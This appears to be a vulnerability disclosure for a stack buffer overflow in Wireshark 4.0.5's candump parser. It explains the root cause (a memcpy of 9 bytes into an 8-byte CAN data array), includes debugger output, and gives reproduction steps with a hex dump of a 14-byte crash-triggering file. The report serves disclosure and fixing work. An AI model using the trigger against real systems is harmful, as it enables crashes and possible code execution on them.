Stack-buffer-overflow in candump_write_packet

Summary

A stack-buffer-overflow vulnerability has been identified in Wireshark 4.0.5’s candump_write_packet function. This issue occurs when processing a specially crafted payload, which results in a crash and potentially code execution.

CVSS

9.0 (Critical) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Details

The issue can be traced back to the candump_write_packet function in the wiretap/candump.c file. The ASAN report indicates a WRITE operation of size 9 at address 0x7fffffffdb88, which overflows the can_frame.sroa.660 variable in the stack.

The root cause of the vulnerability appears to be the use of the memcpy function in the candump_write_packet function at line 83. The memcpy function is called with a length value that is larger than the destination buffer, causing a buffer overflow:

#define CAN_MAX_DLEN   8

typedef struct can_frame {
    guint32 can_id;                       /* 32 bit CAN_ID + EFF/RTR/ERR flags */
    guint8  can_dlc;                      /* frame payload length in byte (0 .. CAN_MAX_DLEN) */
    guint8  __pad;                        /* padding */
    guint8  __res0;                       /* reserved / padding */
    guint8  __res1;                       /* reserved / padding */
    guint8  data[CAN_MAX_DLEN];
} can_frame_t;

memcpy(can_frame.data, msg->data.data, msg->data.length);


> b *candump_write_packet+612:

   $rdi = 0x00007fffffffdd78 → 0x0000000000000000,
   $rsi = 0x00007fffffffde12 → 0x0000000000000000,
 → $rdx = 0x0000000000000009   
 →   0x42ba84 <candump_write_packet+612> call   0x406f30 <memcpy@plt>

The can_frame structure is used to store CAN (Controller Area Network) frames, including the CAN ID, data length code (DLC), and the actual data. The issue here is that msg->data.length is 9, which is larger than the size of the destination buffer can_frame.data (8 bytes). This results in a buffer overflow when memcpy tries to copy 9 bytes from the source buffer to the destination buffer, which can only accommodate 8 bytes.

Steps to reproduce:

1. Download and install Wireshark 4.0.5
2. Run tshark -r trigger

$ xxd -g1 trigger
00000000: 28 30 2e 30 29 09 30 09 30 30 30 23 52 39        (0.0).0.000#R9

$ tshark -r trigger
*** buffer overflow detected ***: terminated
Aborted

# After recompiling with "CANDUMP_DEBUG"
$ tshark -r trigger
candump_parse: Trying candump file decoder
candump_parse: Starting parser at offset 0
run_candump_parser: Starting parsing
yy_reduce: read message
run_candump_parser: Done (0)
candump_parse: Success
candump_open: This is our file
candump_read: Try reading at offset 0
candump_parse: Trying candump file decoder
candump_parse: Starting parser at offset 0
run_candump_parser: Starting parsing
yy_reduce: read message
run_candump_parser: Done (0)
candump_parse: Success
candump_read: Stopped at offset 14
*** buffer overflow detected ***: terminated
Aborted